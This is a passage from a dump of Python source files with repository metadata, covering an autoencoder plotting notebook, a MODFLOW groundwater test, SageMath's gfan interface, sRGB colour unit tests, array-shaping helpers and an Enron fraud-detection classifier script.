matplotlib.pyplot as plt\n#from sklearn.manifold import TSNE\n\ndef plot_z(filename):\n  x = []\n  with open(filename) as f:\n      for line in f:\n          parts = line.split()\n          x.append([float(p) for p in parts])\n  x = np.array(x)\n  #x = TSNE().fit_transform(x)\n\n  n, m = 5, 100\n  for i in range(n):\n      l, r = i*m, (i+1)*m\n      plt.scatter(x[l:r, 0], x[l:r, 1])\n\n  #plt.title('DAAE', fontsize=22)\n  plt.xticks(fontsize=18)\n  plt.yticks(fontsize=18)\n  plt.show()\n\n\n# + id=\"SZ3tcCrPEFhT\" outputId=\"704aae9b-928b-4917-ba76-fdd6d05c0529\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279}\nplot_z('checkpoints/toy/aae/data.z')\n\n# + id=\"1dKqBy9ZELE4\" outputId=\"d13fdc09-04cf-42ca-f770-fe08de7565ab\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 273}\nplot_z('checkpoints/toy/daae/data.z')\n\n# + id=\"PLGYhD9uEuRt\"\n\n", "meta": {"hexsha": "7aae0797b591e3fa74b5bc5b663aad6c44f8f948", "size": 13218, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks-text-format/text_autoencoders_pytorch.py", "max_stars_repo_name": "arpitvaghela/probml-notebooks", "max_stars_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 166, "max_stars_repo_stars_event_min_datetime": "2021-07-16T17:33:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T03:35:34.000Z", "max_issues_repo_path": "notebooks-text-format/text_autoencoders_pytorch.py", "max_issues_repo_name": "arpitvaghela/probml-notebooks", "max_issues_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2021-07-21T16:31:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:13.000Z", "max_forks_repo_path": "notebooks-text-format/text_autoencoders_pytorch.py", "max_forks_repo_name": "arpitvaghela/probml-notebooks", "max_forks_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 48, "max_forks_repo_forks_event_min_datetime": "2021-07-17T08:26:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T03:36:18.000Z", "avg_line_length": 39.6936936937, "max_line_length": 233, "alphanum_fraction": 0.6789983356, "include": true, "reason": "import numpy", "num_tokens": 4556, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10970578115498411, "lm_q1q2_score": 0.054852890577492056}}
{"text": "\"\"\"\nMODFLOW 6 Autotest\nTest to make sure that array based recharge is applied correctly when idomain\nis used to remove part of the grid.\n\"\"\"\n\nimport os\nimport pytest\nimport sys\nimport numpy as np\n\ntry:\n    import pymake\nexcept:\n    msg = \"Error. Pymake package is not available.\\n\"\n    msg += \"Try installing using the following command:\\n\"\n    msg += \" pip install https://github.com/modflowpy/pymake/zipball/master\"\n    raise Exception(msg)\n\ntry:\n    import flopy\nexcept:\n    msg = \"Error. FloPy package is not available.\\n\"\n    msg += \"Try installing using the following command:\\n\"\n    msg += \" pip install flopy\"\n    raise Exception(msg)\n\nfrom framework import testing_framework\nfrom simulation import Simulation\n\nex = [\"rch02\"]\nexdirs = []\nfor s in ex:\n    exdirs.append(os.path.join(\"temp\", s))\n\n\ndef build_model(idx, dir):\n\n    nlay, nrow, ncol = 2, 4, 5\n    perlen = [1.0]\n    nper = len(perlen)\n    nstp = nper * [1]\n    tsmult = nper * [1.0]\n\n    delr = delc = 1.0\n\n    nouter, ninner = 100, 300\n    hclose, rclose, relax = 1e-9, 1e-3, 0.97\n\n    tdis_rc = []\n    for i in range(nper):\n        tdis_rc.append((perlen[i], nstp[i], tsmult[i]))\n\n    name = \"rch\"\n\n    # build MODFLOW 6 files\n    ws = dir\n    sim = flopy.mf6.MFSimulation(\n        sim_name=name, version=\"mf6\", exe_name=\"mf6\", sim_ws=ws\n    )\n    # create tdis package\n    tdis = flopy.mf6.ModflowTdis(\n        sim, time_units=\"DAYS\", nper=nper, perioddata=tdis_rc\n    )\n\n    # set ims csv files\n    csv0 = \"{}.outer.ims.csv\".format(name)\n    csv1 = \"{}.inner.ims.csv\".format(name)\n\n    # create iterative model solution and register the gwf model with it\n    ims = flopy.mf6.ModflowIms(\n        sim,\n        print_option=\"ALL\",\n        csv_outer_output_filerecord=csv0,\n        csv_inner_output_filerecord=csv1,\n        outer_dvclose=hclose,\n        outer_maximum=nouter,\n        under_relaxation=\"DBD\",\n        inner_maximum=ninner,\n        inner_dvclose=hclose,\n        rcloserecord=rclose,\n        linear_acceleration=\"BICGSTAB\",\n        scaling_method=\"NONE\",\n        reordering_method=\"NONE\",\n        relaxation_factor=relax,\n    )\n\n    # create gwf model\n    gwf = flopy.mf6.ModflowGwf(sim, modelname=name, save_flows=True)\n\n    idomain = np.ones((nlay, nrow, ncol), dtype=int)\n    idomain[0, 1:3, 1:4] = -1\n    dis = flopy.mf6.ModflowGwfdis(\n        gwf,\n        nlay=nlay,\n        nrow=nrow,\n        ncol=ncol,\n        delr=delr,\n        delc=delc,\n        top=100.0,\n        botm=[50.0, 0.0],\n        idomain=idomain,\n    )\n\n    # initial conditions\n    ic = flopy.mf6.ModflowGwfic(gwf, strt=100.0)\n\n    # node property flow\n    npf = flopy.mf6.ModflowGwfnpf(gwf, save_flows=True, icelltype=0, k=1.0)\n\n    # chd\n    chdspd = [[(1, 0, 0), 100.0]]\n    chd = flopy.mf6.ModflowGwfchd(gwf, stress_period_data=chdspd)\n\n    recharge = np.arange(nrow * ncol).reshape(nrow, ncol) + 1.0\n    rch = flopy.mf6.ModflowGwfrcha(gwf, print_flows=True, recharge=recharge)\n\n    # output control\n    oc = flopy.mf6.ModflowGwfoc(\n        gwf,\n        budget_filerecord=\"{}.cbc\".format(name),\n        head_filerecord=\"{}.hds\".format(name),\n        headprintrecord=[(\"COLUMNS\", 10, \"WIDTH\", 15, \"DIGITS\", 6, \"GENERAL\")],\n        saverecord=[(\"HEAD\", \"ALL\"), (\"BUDGET\", \"ALL\")],\n        printrecord=[(\"HEAD\", \"ALL\"), (\"BUDGET\", \"ALL\")],\n        filename=\"{}.oc\".format(name),\n    )\n\n    return sim, None\n\n\ndef eval_model(sim):\n    print(\"evaluating model...\")\n\n    fpth = os.path.join(sim.simpath, \"rch.cbc\")\n    bobj = flopy.utils.CellBudgetFile(fpth, precision=\"double\")\n    records = bobj.get_data(text=\"rch\")[0]\n\n    nrecords = records.shape[0]\n    print(records.dtype)\n    print(records.shape)\n    print(records)\n\n    errmsg = \"Recharge rate is not the same as the node number.\"\n    assert np.allclose(records[\"node\"].astype(float), records[\"q\"]), errmsg\n\n    errmsg = \"node2 numbers must be the same as node.\"\n    assert np.allclose(records[\"node2\"], records[\"node\"]), errmsg\n\n    fpth = os.path.join(sim.simpath, \"rch.hds\")\n    hobj = flopy.utils.HeadFile(fpth, precision=\"double\")\n    heads = hobj.get_alldata()\n\n    return\n\n\n# - No need to change any code below\n@pytest.mark.parametrize(\n    \"idx, dir\",\n    list(enumerate(exdirs)),\n)\ndef test_mf6model(idx, dir):\n    # initialize testing framework\n    test = testing_framework()\n\n    # build the model\n    test.build_mf6_models(build_model, idx, dir)\n\n    # run the test model\n    test.run_mf6(Simulation(dir, exfunc=eval_model, idxsim=idx))\n\n\ndef main():\n    # initialize testing framework\n    test = testing_framework()\n\n    # run the test model\n    for idx, dir in enumerate(exdirs):\n        test.build_mf6_models(build_model, idx, dir)\n        sim = Simulation(dir, exfunc=eval_model, idxsim=idx)\n        test.run_mf6(sim)\n\n\nif __name__ == \"__main__\":\n    # print message\n    print(\"standalone run of {}\".format(os.path.basename(__file__)))\n\n    # run main routine\n    main()\n", "meta": {"hexsha": "675b6d9697d1febc3d45404243f1422df21a3808", "size": 4899, "ext": "py", "lang": "Python", "max_stars_repo_path": "autotest/test_gwf_rch02.py", "max_stars_repo_name": "scharlton2/modflow6", "max_stars_repo_head_hexsha": "83ac72ee3b6f580aaffef6352cf15c1697d3ce66", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-07-10T21:16:57.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-08T00:56:20.000Z", "max_issues_repo_path": "autotest/test_gwf_rch02.py", "max_issues_repo_name": "scharlton2/modflow6", "max_issues_repo_head_hexsha": "83ac72ee3b6f580aaffef6352cf15c1697d3ce66", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "autotest/test_gwf_rch02.py", "max_forks_repo_name": "scharlton2/modflow6", "max_forks_repo_head_hexsha": "83ac72ee3b6f580aaffef6352cf15c1697d3ce66", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-11-28T16:26:50.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-05T11:08:37.000Z", "avg_line_length": 25.7842105263, "max_line_length": 79, "alphanum_fraction": 0.6313533374, "include": true, "reason": "import numpy", "num_tokens": 1471, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10970577533337339, "lm_q1q2_score": 0.054852887666686695}}
{"text": "r\"\"\"\nInterface to Groebner Fan\n\nAUTHOR:\n\n- Anders Nedergaard Jensen: Write gfan C++ program, which implements\n  algorithms many of which were invented by Jensen, Komei\n  Fukuda, and Rekha Thomas.\n- William Stein (2006-03-18): wrote gfan interface (first version)\n- Marshall Hampton (2008-03-17): modified to use gfan-0.3, subprocess instead of os.popen2\n\nTODO -- much functionality of gfan-0.3 is still not exposed::\n\n   * at most 52 variables:\n\n       - use gfan_substitute to make easier (?)\n       MH: I think this is now irrelevant since gfan can accept the original ring variables\n\n   * --symmetry is really useful\n            - permutations are 0-based *not* cycle notation; a <---> 0\n     output is broken up much more nicely.\n\n   * -- can work in Z/pZ for p <= 32749\n\n   * -- can compute individual GB's for lex and revlex (via buchberger)\n\"\"\"\n\n# *****************************************************************************\n#       Copyright (C) 2006 William Stein <wstein@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  http://www.gnu.org/licenses/\n# *****************************************************************************\n\nfrom subprocess import Popen, PIPE\n\nfrom sage.features.gfan import GfanExecutable\n\nfrom sage.misc.decorators import rename_keyword\n\nclass Gfan(object):\n    \"\"\"\n    Interface to Anders Jensen's Groebner Fan program.\n    \"\"\"\n    @rename_keyword(deprecation=33468, I='input')\n    def __call__(self, input, cmd='', verbose=False, format=None):\n        r\"\"\"\n        Call Groebner Fan program with given input\n\n        INPUT:\n\n        - ``input`` -- string, input\n        - ``cmd`` -- string (default:``''``), GFan command\n        - ``verbose`` -- bool (default:``False``)\n\n        EXAMPLES::\n\n            sage: print(gfan('Q[x,y]{x^2-y-1,y^2-xy-2/3}', cmd='bases')) # optional - gfan\n            Q[x,y]\n            {{\n            y^4+4/9-7/3*y^2-y^3,\n            x+5/2*y+3/2*y^2-3/2*y^3}\n            ,\n            {\n            x^2-1-y,\n            x*y+2/3-y^2,\n            y^3-5/3*y-y^2-2/3*x}\n            ,\n            {\n            x^2-1-y,\n            y^2-2/3-x*y}\n            ,\n            {\n            x^4+1/3+x-2*x^2-x^3,\n            y+1-x^2}\n            }\n\n        TESTS::\n\n            sage: _ = gfan(I='Q[x,y]{x^2-y-1,y^2-xy-2/3}', cmd='bases') # optional - gfan\n            doctest:...:\n            DeprecationWarning: use the option 'input' instead of 'I'\n            See https://trac.sagemath.org/33468 for details.\n\n        \"\"\"\n        if format is not None:\n            from sage.misc.superseded import deprecation\n            deprecation(33468, 'argument `format` is ignored in the code: '\n                               'it is now deprecated. Please update your code '\n                               'without this argument as it will be removed in a later '\n                               'version of SageMath.')\n\n        if cmd:\n            cmd = cmd.split(' ')\n            cmd[0] = GfanExecutable(cmd[0]).absolute_filename()\n        else:\n            cmd = [GfanExecutable().absolute_filename()]\n\n        if verbose:\n            print(\"gfan command:\\n%s\" % cmd)\n            print(\"gfan input:\\n%s\" % input)\n\n        gfan_processes = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE,\n                               encoding='latin-1')\n        ans, err = gfan_processes.communicate(input=input)\n\n        # sometimes, gfan outputs stuff to stderr even though everything is fine\n        # we avoid interpreting this as an error\n        if (len(err) > 0) and not (err.startswith('_application PolyhedralCone')):\n            raise RuntimeError(err)\n\n        return ans\n\n\n# The instance\ngfan = Gfan()\n", "meta": {"hexsha": "0e5b4046f4e0a92f8f8fe7fef212f29b12b689cd", "size": 4004, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/interfaces/gfan.py", "max_stars_repo_name": "LaisRast/sage", "max_stars_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/interfaces/gfan.py", "max_issues_repo_name": "LaisRast/sage", "max_issues_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/interfaces/gfan.py", "max_forks_repo_name": "LaisRast/sage", "max_forks_repo_head_hexsha": "5fb2a6ea44400e469caee82748cf863ca0c5f724", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.032, "max_line_length": 91, "alphanum_fraction": 0.5474525475, "include": true, "reason": "from sage", "num_tokens": 1002, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10970577242256814, "lm_q1q2_score": 0.05485288621128407}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nDefines unit tests for :mod:`colour.models.rgb.transfer_functions.sRGB`\nmodule.\n\"\"\"\n\nfrom __future__ import division, unicode_literals\n\nimport numpy as np\nimport unittest\n\nfrom colour.models.rgb.transfer_functions import eotf_inverse_sRGB, eotf_sRGB\nfrom colour.utilities import domain_range_scale, ignore_numpy_errors\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013-2019 - Colour Developers'\n__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-developers@colour-science.org'\n__status__ = 'Production'\n\n__all__ = ['TestEotf_inverse_sRGB', 'TestEotf_sRGB']\n\n\nclass TestEotf_inverse_sRGB(unittest.TestCase):\n    \"\"\"\n    Defines :func:`colour.models.rgb.transfer_functions.sRGB.eotf_inverse_sRGB`\n    definition unit tests methods.\n    \"\"\"\n\n    def test_eotf_inverse_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_inverse_sRGB` definition.\n        \"\"\"\n\n        self.assertAlmostEqual(eotf_inverse_sRGB(0.0), 0.0, places=7)\n\n        self.assertAlmostEqual(\n            eotf_inverse_sRGB(0.18), 0.461356129500442, places=7)\n\n        self.assertAlmostEqual(eotf_inverse_sRGB(1.0), 1.0, places=7)\n\n    def test_n_dimensional_eotf_inverse_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_inverse_sRGB` definition n-dimensional arrays support.\n        \"\"\"\n\n        L = 0.18\n        V = eotf_inverse_sRGB(L)\n\n        L = np.tile(L, 6)\n        V = np.tile(V, 6)\n        np.testing.assert_almost_equal(eotf_inverse_sRGB(L), V, decimal=7)\n\n        L = np.reshape(L, (2, 3))\n        V = np.reshape(V, (2, 3))\n        np.testing.assert_almost_equal(eotf_inverse_sRGB(L), V, decimal=7)\n\n        L = np.reshape(L, (2, 3, 1))\n        V = np.reshape(V, (2, 3, 1))\n        np.testing.assert_almost_equal(eotf_inverse_sRGB(L), V, decimal=7)\n\n    def test_domain_range_scale_eotf_inverse_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_inverse_sRGB` definition domain and range scale support.\n        \"\"\"\n\n        L = 0.18\n        V = eotf_inverse_sRGB(L)\n\n        d_r = (('reference', 1), (1, 1), (100, 100))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    eotf_inverse_sRGB(L * factor), V * factor, decimal=7)\n\n    @ignore_numpy_errors\n    def test_nan_eotf_inverse_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_inverse_sRGB` definition nan support.\n        \"\"\"\n\n        eotf_inverse_sRGB(np.array([-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]))\n\n\nclass TestEotf_sRGB(unittest.TestCase):\n    \"\"\"\n    Defines :func:`colour.models.rgb.transfer_functions.sRGB.eotf_sRGB`\n    definition unit tests methods.\n    \"\"\"\n\n    def test_eotf_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_sRGB` definition.\n        \"\"\"\n\n        self.assertAlmostEqual(eotf_sRGB(0.0), 0.0, places=7)\n\n        self.assertAlmostEqual(eotf_sRGB(0.461356129500442), 0.18, places=7)\n\n        self.assertAlmostEqual(eotf_sRGB(1.0), 1.0, places=7)\n\n    def test_n_dimensional_eotf_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_sRGB` definition n-dimensional arrays support.\n        \"\"\"\n\n        V = 0.461356129500442\n        L = eotf_sRGB(V)\n\n        V = np.tile(V, 6)\n        L = np.tile(L, 6)\n        np.testing.assert_almost_equal(eotf_sRGB(V), L, decimal=7)\n\n        V = np.reshape(V, (2, 3))\n        L = np.reshape(L, (2, 3))\n        np.testing.assert_almost_equal(eotf_sRGB(V), L, decimal=7)\n\n        V = np.reshape(V, (2, 3, 1))\n        L = np.reshape(L, (2, 3, 1))\n        np.testing.assert_almost_equal(eotf_sRGB(V), L, decimal=7)\n\n    def test_domain_range_scale_eotf_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_sRGB` definition domain and range scale support.\n        \"\"\"\n\n        V = 0.461356129500442\n        L = eotf_sRGB(V)\n\n        d_r = (('reference', 1), (1, 1), (100, 100))\n        for scale, factor in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    eotf_sRGB(V * factor), L * factor, decimal=7)\n\n    @ignore_numpy_errors\n    def test_nan_eotf_sRGB(self):\n        \"\"\"\n        Tests :func:`colour.models.rgb.transfer_functions.sRGB.\\\neotf_sRGB` definition nan support.\n        \"\"\"\n\n        eotf_sRGB(np.array([-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "b25c360c975d451730acf466bd94f3fa71d63a77", "size": 4692, "ext": "py", "lang": "Python", "max_stars_repo_path": "colour/models/rgb/transfer_functions/tests/test_srgb.py", "max_stars_repo_name": "MaxSchambach/colour", "max_stars_repo_head_hexsha": "3f3685d616fda4be58cec20bc1e16194805d7e2d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "colour/models/rgb/transfer_functions/tests/test_srgb.py", "max_issues_repo_name": "MaxSchambach/colour", "max_issues_repo_head_hexsha": "3f3685d616fda4be58cec20bc1e16194805d7e2d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colour/models/rgb/transfer_functions/tests/test_srgb.py", "max_forks_repo_name": "MaxSchambach/colour", "max_forks_repo_head_hexsha": "3f3685d616fda4be58cec20bc1e16194805d7e2d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.0769230769, "max_line_length": 79, "alphanum_fraction": 0.6402387042, "include": true, "reason": "import numpy", "num_tokens": 1305, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10970576951176295, "lm_q1q2_score": 0.05485288475588147}}
{"text": "\n\"\"\"\nshaping\n-------\nModule which groups the functions for shaping properly the arrays.\n\"\"\"\n\nimport numpy as np\n\n\ndef shaping_dim(array, ndim):\n    \"\"\"The dimensions of the array have to be least than ndim.\n\n    Parameters\n    ----------\n    array: np.ndarray\n        the array we want to format with the shape dimensions required.\n    ndim: int\n        the shape dimensions we want to format the input.\n\n    Returns\n    -------\n    array: np.ndarray\n        the array formatted in the shape dimensions required in the input.\n\n    \"\"\"\n\n    if array.ndim >= ndim:\n        return array\n    dim_extend = ndim - array.ndim\n    newshape = tuple(list(array.shape) + [1 for i in range(dim_extend)])\n    array = array.reshape(newshape)\n    return array\n\n\ndef ensure_2dim(array, axis=0, sh_known=(None, None)):\n    \"\"\"Ensure that the array input has two dimensions.\n\n    Parameters\n    ----------\n    array: np.ndarray\n        the array we want to ensure it has 2 dimensions.\n    axis: int (default=0)\n        the preferent axis.\n    sh_known: tuple (default=(None, None))\n        the known shape of the input.\n\n    Returns\n    -------\n    array: np.ndarray\n        the array formatted for 2 dimensions.\n\n    \"\"\"\n    ## Ensure 2 dimensions in the array\n    sh = array.shape\n    if len(sh) == 1:\n        new_sh = (sh[0], 1) if axis == 0 else (1, sh[0])\n    elif len(sh) == 2:\n        new_sh = sh\n    ## Ensure known shape\n    notnone_ids = [i for i in range(len(sh_known)) if sh_known[i] is not None]\n    if len(notnone_ids) == 0:\n        pass\n    if len(notnone_ids) == 1:\n        new_sh_notnone = [new_sh[i] for i in notnone_ids]\n        sh_known_notnone = [sh_known[i] for i in notnone_ids]\n        if new_sh_notnone == sh_known_notnone:\n            pass\n        elif new_sh_notnone[::-1] == sh_known_notnone:\n            new_sh = new_sh[::-1]\n        else:\n            raise Exception(\"Impossible to fit the conditions.\")\n    elif len(notnone_ids) == 2:\n        if new_sh == sh_known:\n            pass\n        elif new_sh[::-1] == sh_known:\n            new_sh = new_sh[::-1]\n        elif np.prod(new_sh) == np.prod(sh_known):\n            new_sh = sh_known\n        else:\n            raise Exception(\"Impossible to fit the conditions.\")\n    ## Transform array\n    array = array.reshape(new_sh)\n    return array\n", "meta": {"hexsha": "e794bb9e5aa6afc0afffd47647975b11a35ef234", "size": 2303, "ext": "py", "lang": "Python", "max_stars_repo_path": "pythonUtils/numpy_tools/shaping.py", "max_stars_repo_name": "tgquintela/pythonUtils", "max_stars_repo_head_hexsha": "6f2e5ba3be67a48d3cd5cf72dcabfae04cfa7afe", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2015-07-21T05:15:11.000Z", "max_stars_repo_stars_event_max_datetime": "2015-07-21T05:15:11.000Z", "max_issues_repo_path": "pythonUtils/numpy_tools/shaping.py", "max_issues_repo_name": "tgquintela/pythonUtils", "max_issues_repo_head_hexsha": "6f2e5ba3be67a48d3cd5cf72dcabfae04cfa7afe", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pythonUtils/numpy_tools/shaping.py", "max_forks_repo_name": "tgquintela/pythonUtils", "max_forks_repo_head_hexsha": "6f2e5ba3be67a48d3cd5cf72dcabfae04cfa7afe", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.0941176471, "max_line_length": 78, "alphanum_fraction": 0.5948762484, "include": true, "reason": "import numpy", "num_tokens": 576, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.115960721309117, "lm_q1q2_score": 0.05481271689980653}}
{"text": "#!/usr/bin/python\n\n#######################\n# This python script is just the tip of the iceberg and a starting point.\n# For a full walkthrough of the process follow the following link:\n# https://github.com/praxitelisk/NDDA-P5-Identify-Fraud-From-Enron-Email\n#######################\n\nimport sys\nimport pickle\nfrom tester import dump_classifier_and_data\nsys.path.append(\"../tools/\")\nimport numpy as np\n\nfrom feature_format import featureFormat, targetFeatureSplit\nfrom tester import dump_classifier_and_data\n\n### Task 1: Select what features you'll use.\n### features_list is a list of strings, each of which is a feature name.\n### The first feature must be \"poi\".\nfeatures_list = ['poi', 'salary', 'bonus', 'exercised_stock_options', 'fraction_to_poi']\n\n### Load the dictionary containing the dataset\nwith open(\"final_project_dataset.pkl\", \"rb\") as data_file:\n    data_dict = pickle.load(data_file)\n\n### Task 2: Remove outliers\ndata_dict.pop('TOTAL',0)\ndata_dict.pop('THE TRAVEL AGENCY IN THE PARK',0)\n\n#remove datapoints that are noisy\ndata_dict.pop('FREVERT MARK A',0)\ndata_dict.pop('LAVORATO JOHN J',0)\ndata_dict.pop('BUY RICHARD B',0)\ndata_dict.pop('BAXTER JOHN C',0)\ndata_dict.pop('HAEDICKE MARK E',0)\ndata_dict.pop('KEAN STEVEN J',0)\ndata_dict.pop('WHALLEY LAWRENCE G',0)\n\n\n### Task 3: Create new feature(s)\n### Store to my_dataset for easy export below.\nmy_dataset = data_dict\n\ndef computeFraction( poi_messages, all_messages ):\n    \"\"\" given a number messages to/from POI (numerator) \n        and number of all messages to/from a person (denominator),\n        return the fraction of messages to/from that person\n        that are from/to a POI\n   \"\"\"\n    fraction = 0.\n    if poi_messages != 'NaN' and all_messages != 'NaN':\n        fraction = float(poi_messages)/all_messages\n\n\n    return fraction\n\nfor name in my_dataset:\n\n    data_point = my_dataset[name]\n\n    from_poi_to_this_person = data_point[\"from_poi_to_this_person\"]\n    to_messages = data_point[\"to_messages\"]\n    fraction_from_poi = computeFraction( from_poi_to_this_person, to_messages )\n    \n    my_dataset[name][\"fraction_from_poi\"] = fraction_from_poi\n  \n    from_this_person_to_poi = data_point[\"from_this_person_to_poi\"]\n    from_messages = data_point[\"from_messages\"]\n    fraction_to_poi = computeFraction( from_this_person_to_poi, from_messages )\n\n    my_dataset[name][\"fraction_to_poi\"] = fraction_to_poi\n\n    \n### Extract features and labels from dataset for local testing\ndata = featureFormat(my_dataset, features_list, sort_keys = True)\nlabels, features = targetFeatureSplit(data)\n\n### Task 4: Try a variaty of classifiers\n### Please name your classifier clf for easy export below.\n### Note that if you want to do PCA or other multi-stage operations,\n### you'll need to use Pipelines. For more info:\n### http://scikit-learn.org/stable/modules/pipeline.html\n\n# Provided to give you a starting point. Try a variety of classifiers.\nfrom sklearn.tree import DecisionTreeClassifier\nclf = DecisionTreeClassifier(random_state=42)\n\n### Task 5: Tune your classifier to achieve better than .3 precision and recall \n### using our testing script. Check the tester.py script in the final project\n### folder for details on the evaluation method, especially the test_classifier\n### function. Because of the small size of the dataset, the script uses\n### stratified shuffle split cross validation. For more info: \n### http://scikit-learn.org/stable/modules/generated/sklearn.cross_validation.StratifiedShuffleSplit.html\n\nfrom sklearn.cross_validation import StratifiedShuffleSplit\n\nX = np.array(features)\ny = np.array(labels)\nsss = StratifiedShuffleSplit(labels, n_iter=1000, test_size=0.3, random_state=42)      \nfor train_index, test_index in sss:\n    features_train, features_test = X[train_index], X[test_index]\n    labels_train, labels_test = y[train_index], y[test_index]\n    \n    clf = DecisionTreeClassifier(random_state=42)\n    clf.fit(features_train, labels_train)\n    pred = clf.predict(features_test)\n\n### Task 6: Dump your classifier, dataset, and features_list so anyone can\n### check your results. You do not need to change anything below, but make sure\n### that the version of poi_id.py that you submit can be run on its own and\n### generates the necessary .pkl files for validating your results.\n\n\ndef dump_classifier_and_data(clf, dataset, feature_list):\n\n    CLF_PICKLE_FILENAME = \"my_classifier.pkl\"\n    DATASET_PICKLE_FILENAME = \"my_dataset.pkl\"\n    FEATURE_LIST_FILENAME = \"my_feature_list.pkl\"\n\n    with open(CLF_PICKLE_FILENAME, 'wb') as clf_outfile:\n        pickle.dump(clf, clf_outfile)\n    with open(DATASET_PICKLE_FILENAME, 'wb') as dataset_outfile:\n        pickle.dump(dataset, dataset_outfile)\n    with open(FEATURE_LIST_FILENAME, 'wb') as featurelist_outfile:\n        pickle.dump(feature_list, featurelist_outfile)\n\ndump_classifier_and_data(clf, my_dataset, features_list)", "meta": {"hexsha": "946886b178c6183701e510bf1b05070d75cc3caf", "size": 4866, "ext": "py", "lang": "Python", "max_stars_repo_path": "poi_id.py", "max_stars_repo_name": "praxitelisk/NDDA-P5-Identify-Fraud-From_Enron-Email", "max_stars_repo_head_hexsha": "85fc6c990b061c7335809450678329aebb8e79e8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, 